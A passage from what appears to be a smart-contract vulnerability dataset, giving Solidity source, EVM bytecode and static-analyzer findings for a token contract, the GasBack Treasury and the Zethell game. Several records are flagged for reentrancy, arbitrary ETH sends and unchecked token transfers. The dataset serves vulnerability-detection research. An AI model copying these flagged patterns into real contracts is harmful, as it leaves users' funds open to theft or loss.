f16565b9081150290604051600060405180830381858888f19350505050158015611e0f573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e606002846122d090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e8b573d6000803e3d6000fd5b5050565b6000600754821115611ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ecd906130ff565b60405180910390fd5b6000611ee06123fe565b9050611ef581846122d090919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f5b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f895781602001602082028036833780820191505090505b5090503081600081518110611fc7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561206957600080fd5b505afa15801561207d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120a19190612b27565b816001815181106120db577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061214230601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129b565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121a69594939291906132ba565b600060405180830381600087803b1580156121c057600080fd5b505af11580156121d4573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b60008083141561220a576000905061226c565b60008284612218919061340b565b905082848261222791906133da565b14612267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225e906131bf565b60405180910390fd5b809150505b92915050565b60008082846122819190613384565b9050838110156122c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bd9061315f565b60405180910390fd5b8091505092915050565b600061231283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612429565b905092915050565b6000600a9050600a82101561233257600a9050612349565b60288211156123445760289050612348565b8190505b5b600061235f60028361248c90919063ffffffff16565b1461237357808061236f90613533565b9150505b61239a600a61238c6006846121f790919063ffffffff16565b6122d090919063ffffffff16565b6009819055506123c7600a6123b96004846121f790919063ffffffff16565b6122d090919063ffffffff16565b600a819055505050565b806123df576123de6124d6565b5b6123ea848484612519565b806123f8576123f76126e4565b5b50505050565b600080600061240b6126f8565b9150915061242281836122d090919063ffffffff16565b9250505090565b60008083118290612470576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246791906130bd565b60405180910390fd5b506000838561247f91906133da565b9050809150509392505050565b60006124ce83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525061275a565b905092915050565b60006009541480156124ea57506000600a54145b156124f457612517565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b60008060008060008061252b876127b8565b95509550955095509550955061258986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266a8161286a565b6126748483612927565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126d1919061329f565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061272e683635c9adc5dea000006007546122d090919063ffffffff16565b82101561274d57600754683635c9adc5dea00000935093505050612756565b81819350935050505b9091565b60008083141582906127a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279991906130bd565b60405180910390fd5b5082846127af919061357c565b90509392505050565b60008060008060008060008060006127d58a600954600a54612961565b92509250925060006127e56123fe565b905060008060006127f88e8787876129f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061286283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d30565b905092915050565b60006128746123fe565b9050600061288b82846121f790919063ffffffff16565b90506128df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61293c8260075461282090919063ffffffff16565b6007819055506129578160085461227290919063ffffffff16565b6008819055505050565b60008060008061298d606461297f888a6121f790919063ffffffff16565b6122d090919063ffffffff16565b905060006129b760646129a9888b6121f790919063ffffffff16565b6122d090919063ffffffff16565b905060006129e0826129d2858c61282090919063ffffffff16565b61282090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a1085896121f790919063ffffffff16565b90506000612a2786896121f790919063ffffffff16565b90506000612a3e87896121f790919063ffffffff16565b90506000612a6782612a59858761282090919063ffffffff16565b61282090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612a8f816139b0565b92915050565b600081519050612aa4816139b0565b92915050565b600081359050612ab9816139c7565b92915050565b600081519050612ace816139c7565b92915050565b600081359050612ae3816139de565b92915050565b600081519050612af8816139de565b92915050565b600060208284031215612b1057600080fd5b6000612b1e84828501612a80565b91505092915050565b600060208284031215612b3957600080fd5b6000612b4784828501612a95565b91505092915050565b60008060408385031215612b6357600080fd5b6000612b7185828601612a80565b9250506020612b8285828601612a80565b9150509250929050565b600080600060608486031215612ba157600080fd5b6000612baf86828701612a80565b9350506020612bc086828701612a80565b9250506040612bd186828701612ad4565b9150509250925092565b60008060408385031215612bee57600080fd5b6000612bfc85828601612a80565b9250506020612c0d85828601612ad4565b9150509250929050565b600060208284031215612c2957600080fd5b6000612c3784828501612aaa565b91505092915050565b600060208284031215612c5257600080fd5b6000612c6084828501612abf565b91505092915050565b600060208284031215612c7b57600080fd5b6000612c8984828501612ad4565b91505092915050565b600080600060608486031215612ca757600080fd5b6000612cb586828701612ae9565b9350506020612cc686828701612ae9565b9250506040612cd786828701612ae9565b9150509250925092565b6000612ced8383612cf9565b60208301905092915050565b612d0281613499565b82525050565b612d1181613499565b82525050565b6000612d228261333f565b612d2c8185613362565b9350612d378361332f565b8060005b83811015612d68578151612d4f8882612ce1565b9750612d5a83613355565b925050600181019050612d3b565b5085935050505092915050565b612d7e816134ab565b82525050565b612d8d816134ee565b82525050565b6000612d9e8261334a565b612da88185613373565b9350612db8818560208601613500565b612dc18161360b565b840191505092915050565b6000612dd9602383613373565b9150612de48261361c565b604082019050919050565b6000612dfc602a83613373565b9150612e078261366b565b604082019050919050565b6000612e1f602283613373565b9150612e2a826136ba565b604082019050919050565b6000612e42602283613373565b9150612e4d82613709565b604082019050919050565b6000612e65601b83613373565b9150612e7082613758565b602082019050919050565b6000612e88601583613373565b9150612e9382613781565b602082019050919050565b6000612eab602383613373565b9150612eb6826137aa565b604082019050919050565b6000612ece602183613373565b9150612ed9826137f9565b604082019050919050565b6000612ef1602083613373565b9150612efc82613848565b602082019050919050565b6000612f14602983613373565b9150612f1f82613871565b604082019050919050565b6000612f37602583613373565b9150612f42826138c0565b604082019050919050565b6000612f5a602483613373565b9150612f658261390f565b604082019050919050565b6000612f7d601783613373565b9150612f888261395e565b602082019050919050565b6000612fa0601883613373565b9150612fab82613987565b602082019050919050565b612fbf816134d7565b82525050565b612fce816134e1565b82525050565b6000602082019050612fe96000830184612d08565b92915050565b60006040820190506130046000830185612d08565b6130116020830184612d08565b9392505050565b600060408201905061302d6000830185612d08565b61303a6020830184612fb6565b9392505050565b600060c0820190506130566000830189612d08565b6130636020830188612fb6565b6130706040830187612d84565b61307d6060830186612d84565b61308a6080830185612d08565b61309760a0830184612fb6565b979650505050505050565b60006020820190506130b76000830184612d75565b92915050565b600060208201905081810360008301526130d78184612d93565b905092915050565b600060208201905081810360008301526130f881612dcc565b9050919050565b6000602082019050818103600083015261311881612def565b9050919050565b6000602082019050818103600083015261313881612e12565b9050919050565b6000602082019050818103600083015261315881612e35565b9050919050565b6000602082019050818103600083015261317881612e58565b9050919050565b6000602082019050818103600083015261319881612e7b565b9050919050565b600060208201905081810360008301526131b881612e9e565b9050919050565b600060208201905081810360008301526131d881612ec1565b9050919050565b600060208201905081810360008301526131f881612ee4565b9050919050565b6000602082019050818103600083015261321881612f07565b9050919050565b6000602082019050818103600083015261323881612f2a565b9050919050565b6000602082019050818103600083015261325881612f4d565b9050919050565b6000602082019050818103600083015261327881612f70565b9050919050565b6000602082019050818103600083015261329881612f93565b9050919050565b60006020820190506132b46000830184612fb6565b92915050565b600060a0820190506132cf6000830188612fb6565b6132dc6020830187612d84565b81810360408301526132ee8186612d17565b90506132fd6060830185612d08565b61330a6080830184612fb6565b9695505050505050565b60006020820190506133296000830184612fc5565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061338f826134d7565b915061339a836134d7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133cf576133ce6135ad565b5b828201905092915050565b60006133e5826134d7565b91506133f0836134d7565b925082613400576133ff6135dc565b5b828204905092915050565b6000613416826134d7565b9150613421836134d7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561345a576134596135ad565b5b828202905092915050565b6000613470826134d7565b915061347b836134d7565b92508282101561348e5761348d6135ad565b5b828203905092915050565b60006134a4826134b7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134f9826134d7565b9050919050565b60005b8381101561351e578082015181840152602081019050613503565b8381111561352d576000848401525b50505050565b600061353e826134d7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613571576135706135ad565b5b600182019050919050565b6000613587826134d7565b9150613592836134d7565b9250826135a2576135a16135dc565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139b981613499565b81146139c457600080fd5b50565b6139d0816134ab565b81146139db57600080fd5b50565b6139e7816134d7565b81146139f257600080fd5b5056fe54726f7069635468756e646572207c20742e6d652f54726f7069635468756e6465725f45544845524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220639367800e69afae847b44d79b3649da54c6e2d301f01538ff2ded7403b03d8164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,130
0xf74c553aa8208bb1e1314da5d44f4ca59641c62f
/// // GasBack Technology Treasury // https://gasback.tech/ // // SPDX-License-Identifier: MIT pragma solidity ^0.5.16; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return add(a, b, "SafeMath: addition overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface BEP20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Contract for treasury all tokens as fee and transfer to governance */ contract GasBackTreasury is Ownable { using SafeMath for uint256; // WithdrawTreasury Event event WithdrawTreasury(address tokenAddress, uint256 withdrawAmount, address withdrawAddress); // WithdrawTreasuryETH Event event WithdrawTreasuryETH(uint256 withdrawAmount, address withdrawAddress); /** * @notice To receive */ function () external payable {} /** * @notice Withdraw Treasury Tokens, Only owner call it * @param tokenAddress The address of treasury token * @param withdrawAmount The withdraw amount to owner * @param withdrawAddress The withdraw address */ function withdrawTreasury( address tokenAddress, uint256 withdrawAmount, address withdrawAddress ) external onlyOwner { uint256 actualWithdrawAmount = withdrawAmount; // Get Treasury Token Balance uint256 treasuryBalance = BEP20Interface(tokenAddress).balanceOf(address(this)); // Check Withdraw Amount if (withdrawAmount > treasuryBalance) { // Update actualWithdrawAmount actualWithdrawAmount = treasuryBalance; } // Transfer Token to withdrawAddress BEP20Interface(tokenAddress).transfer(withdrawAddress, actualWithdrawAmount); emit WithdrawTreasury(tokenAddress, actualWithdrawAmount, withdrawAddress); } /** * @notice Withdraw Treasury ETH, Only owner call it * @param withdrawAmount The withdraw amount to owner * @param withdrawAddress The withdraw address */ function withdrawTreasuryETH( uint256 withdrawAmount, address payable withdrawAddress ) external payable onlyOwner { uint256 actualWithdrawAmount = withdrawAmount; // Get Treasury Balance uint256 ethBalance = address(this).balance; // Check Withdraw Amount if (withdrawAmount > ethBalance) { // Update actualWithdrawAmount actualWithdrawAmount = ethBalance; } // Transfer to withdrawAddress withdrawAddress.transfer(actualWithdrawAmount); emit WithdrawTreasuryETH(actualWithdrawAmount, withdrawAddress); } }
0x60806040526004361061004a5760003560e01c8063715018a61461004c578063862a672e146100635780638da5cb5b146100de578063e47b40fe14610135578063f2fde38b14610183575b005b34801561005857600080fd5b506100616101d4565b005b34801561006f57600080fd5b506100dc6004803603606081101561008657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061035c565b005b3480156100ea57600080fd5b506100f361065b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101816004803603604081101561014b57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610684565b005b34801561018f57600080fd5b506101d2600480360360208110156101a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061081b565b005b6101dc6108f0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461029d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6103646108f0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610425576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600082905060008473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156104a957600080fd5b505afa1580156104bd573d6000803e3d6000fd5b505050506040513d60208110156104d357600080fd5b81019080805190602001909291905050509050808411156104f2578091505b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561057957600080fd5b505af115801561058d573d6000803e3d6000fd5b505050506040513d60208110156105a357600080fd5b8101908080519060200190929190505050507f727a55976333cf345daa5763795ffbe79ca7f53fd6917f144542a588d5751c1f858385604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a15050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61068c6108f0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000829050600047905080841115610763578091505b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156107a9573d6000803e3d6000fd5b507fb022425096e78f604693b704728f51e2c3d7a879393db64be1e17feedfe309758284604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a150505050565b6108236108f0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6108ed816108f8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561097e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610a3d6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820bed4513856ccf4ffaf0b2376e8bd8c09e987cdfe4eb26e7c66de997b8ad2bbda64736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,131
0x52d9f3dda15c4faa3e8393b468c3d9e6086bb1ef
pragma solidity ^0.4.24; /* * Zethell. * * Written June 2018 for Zethr (https://www.zethr.io) by Norsefire. * Special thanks to oguzhanox and Etherguy for assistance with debugging. * */ contract ZTHReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethell is ZTHReceivingContract { using SafeMath for uint; address private owner; address private bankroll; // How much of the current token balance is reserved as the house take? uint private houseTake; // How many tokens are currently being played for? (Remember, this is winner takes all) uint public tokensInPlay; // The token balance of the entire contract. uint public contractBalance; // Which address is currently winning? address public currentWinner; // What time did the most recent clock reset happen? uint public gameStarted; // What time will the game end if the clock isn&#39;t reset? uint public gameEnds; // Is betting allowed? (Administrative function, in the event of unforeseen bugs) bool public gameActive; address private ZTHTKNADDR; address private ZTHBANKROLL; ZTHInterface private ZTHTKN; mapping (uint => bool) validTokenBet; mapping (uint => uint) tokenToTimer; // Fire an event whenever the clock runs out and a winner is determined. event GameEnded( address winner, uint tokensWon, uint timeOfWin ); // Might as well notify everyone when the house takes its cut out. event HouseRetrievedTake( uint timeTaken, uint tokensWithdrawn ); // Fire an event whenever someone places a bet. event TokensWagered( address _wagerer, uint _wagered, uint _newExpiry ); modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyBankroll { require(msg.sender == bankroll); _; } modifier onlyOwnerOrBankroll { require(msg.sender == owner || msg.sender == bankroll); _; } constructor(address ZethrAddress, address BankrollAddress) public { // Set Zethr & Bankroll address from constructor params ZTHTKNADDR = ZethrAddress; ZTHBANKROLL = BankrollAddress; // Set starting variables owner = msg.sender; bankroll = ZTHBANKROLL; currentWinner = ZTHBANKROLL; // Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements. ZTHTKN = ZTHInterface(ZTHTKNADDR); ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); // To start with, we only allow bets of 5, 10, 25 or 50 ZTH. validTokenBet[5e18] = true; validTokenBet[10e18] = true; validTokenBet[25e18] = true; validTokenBet[50e18] = true; // Logarithmically decreasing time &#39;bonus&#39; associated with higher amounts of ZTH staked. tokenToTimer[5e18] = 24 hours; tokenToTimer[10e18] = 18 hours; tokenToTimer[25e18] = 10 hours; tokenToTimer[50e18] = 6 hours; // Set the initial timers to contract genesis. gameStarted = now; gameEnds = now; gameActive = true; } // Zethr dividends gained are sent to Bankroll later function() public payable { } // If the contract receives tokens, bundle them up in a struct and fire them over to _stakeTokens for validation. struct TKN { address sender; 